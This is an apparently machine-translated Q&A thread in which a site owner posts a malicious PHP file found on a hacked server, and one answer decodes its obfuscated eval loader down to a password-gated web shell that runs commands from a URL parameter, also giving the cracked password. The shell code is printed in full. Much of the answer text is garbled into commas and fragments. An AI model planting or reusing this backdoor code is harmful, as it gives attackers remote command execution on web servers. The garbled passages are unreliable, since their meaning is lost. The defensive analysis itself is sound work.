What is the vulnerability in my PHP code?

Question

My site has been hacked recently. Although the actual website remains unchanged, they could somehow use the domain to create a link that was redirected to ebay phishing scams.

I took the site for obvious reasons, so I can’t link to the code. I am wondering how I can find out what vulnerability they used so that I can avoid this problem in the future. The page used PHP, as well as some javascript (to validate the form).

Is there a free service that scans my code for vulnerabilities? What are my other options?

Thanks Jeff

EDIT: I posted the files in [link removed]

A few notes: there are several files in the "funcs" folder, most of which are not used, but I left them there just in case. The problem "new.php" (contents below) in the "data" folder is clearly a problem. The big question is: how did someone manage to upload "new.php" to the server? There is also an RTF of the email I received that has fraud information.

(caution: this code is probably "dangerous" for your computer)

    <?php
 $prv=strrev('edoced_46esab');
 $vrp=strrev('etalfnizg');
 eval($vrp($prv("rVPRbpswFNW0P9jbNE1ChojQSDD7cm0syvoB5A/GxhiBJVoKxJC0pFr667v0pe1L2k17snyvz/G559jOLxCVxjGCfEBYc1noQfE8VL0SpUYTwQah43LQueKbh3IeQYlguBx1p/gQqkqJFUKiPsWO0Vgh9LoN1R4EoUsuq7xU3Cgxgug0DhHQiVVOjVavFK9ClbDjKH2ZLgOrbpoA0RbNj/dv3r77KF3ED237vVlkrH9Wu7srzM1uv7t3h942N5mTsYM7O52s0y5jsz3thntz6gvCPiWcEVubLpO0tme+VxdHGdq3xe90WU+0wg+hQREGEi9c9G18gprOBPPZBWTMfixP1YwFdlMcNw9UVInT5XjLYqcHQcOSTxvFGyV+5q3GPcKgOzKHHFUi+Te/YmerBK0Nua/XectlnU+JRDBq7OjWKRJOEE0tSqaKIOkHs62a+StEebFDgR4UL7jc5l0Ea9JBXNiSDD3F5bpx3Zq5syaIpudx0FiAuI7gwGVPCpW4TugtnGlf/v0EZ/kWC+8F0ZafWOXazFuzeo0JX87d9tWzvlnOf/s4Xlwdiu2cXX1m/gtT+OzyinnxHw==")));
?>

Answer 1

Interesting stuff here. The php block evaluates a small "code generator":

$k32e95y83_t53h16a9t71_47s72c95r83i53p16t9_71i47s72_83c53r16y9p71t47e72d53=70;
$r95e53s9o47u32r83c16e_c71r72y32p95t83e53d_c16o9d71e47="zy6.6KL/ fnn/55#2nb6'55oo`n+\"snb6'55o{{arwquq'ts#rw\$\"v'%~~ ~q\"%u\"vtr~sao`n/55#2nb%oooKL=Kf#%.)faz64#xa}KLf6'552.43n524/65*'5.#5nb%oo}KLf/(%*3\"#nb%o}KLf\"/#nazi64#xao}K;KLyx";
$s32t83r16i71n72g_o95u53t9p47u16t72=$r95e53s9o47u32r83c16e_c71r72y32p95t83e53d_c16o9d71e47;$l72e47n71t9h_o16f_c53r83y95p32t47e71d_c9o16d53e83=strlen($s32t83r16i71n72g_o95u53t9p47u16t72);
$e72v71a16l_p83h32p_c95o53d9e47='';

for($h47u9i53v95a32m83v16s71e72m=0;$h47u9i53v95a32m83v16s71e72m<$l72e47n71t9h_o16f_c53r83y95p32t47e71d_c9o16d53e83;$h47u9i53v95a32m83v16s71e72m++)
$e72v71a16l_p83h32p_c95o53d9e47 .= chr(ord($s32t83r16i71n72g_o95u53t9p47u16t72[$h47u9i53v95a32m83v16s71e72m]) ^ $k32e95y83_t53h16a9t71_47s72c95r83i53p16t9_71i47s72_83c53r16y9p71t47e72d53);

eval("?>".$e72v71a16l_p83h32p_c95o53d9e47."<?");

When the names of the disgusting variables are replaced with something more readable, you get:

$Coefficient=70;

$InitialString="zy6.6KL/ fnn/55#2nb6'55oo`n+\"snb6'55o{{arwquq'ts#rw\$\"v'%~~ ~q\"%u\"vtr~sao`n/55#2nb%oooKL=Kf#%.)faz64#xa}KLf6'552.43n524/65*'5.#5nb%oo}KLf/(%*3\"#nb%o}KLf\"/#nazi64#xao}K;KLyx";

$TargetString=$InitialString;

$CntLimit=strlen($TargetString);

$Output='';

for($i=0;$i<$CntLimit;$i++)
$Output .= chr(ord($TargetString[$i]) ^ $Coefficient);

eval("?>".$Output."<?");

which, when evaluated, spits out the code:

<?php
if ((isset($_GET[pass]))&(md5($_GET[pass])==
       '417379a25e41bd0ac88f87dc3d029485')&(isset($_GET[c])))
{
 echo '<pre>';
 passthru(stripslashes($_GET[c]));
 include($_GET[c]);
 die('</pre>');
}
?>

, : '417379a25e41bd0ac88f87dc3d029485' - - md5 : Zrhenjq2009

.

, , . script. , (new.php) . url "pass" "Zrhenjq2009", , url "c". , , . .

new.php VirusTotal.com, ( ) . , , 51.php PHPSpy: VirusTotal analysis, 74.php PHP.Shellbot VirusTotal func.php - "webshell by orb". , - , / ebay, .

, .

, .

Enjoy.

Answer 2

VCS ( , git, mercurial, subversion, cvs), .

, ?

Answer 3

? , , , , . , .

(, / ..)? , , (, SQL Injection, /, , , 3 ).